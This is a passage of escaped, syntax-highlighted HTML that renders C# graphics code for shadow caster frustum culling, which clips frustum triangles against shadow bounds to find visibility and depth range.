class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumCornerCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]).\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeData\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedges\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estackalloc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeData\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 最坏情况:1 个三角形被拆成 2**4 = 16 个三角形\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estackalloc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisVisibleXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ePositiveInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emaxZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNegativeInfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCullTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedges\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisVisibleXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan 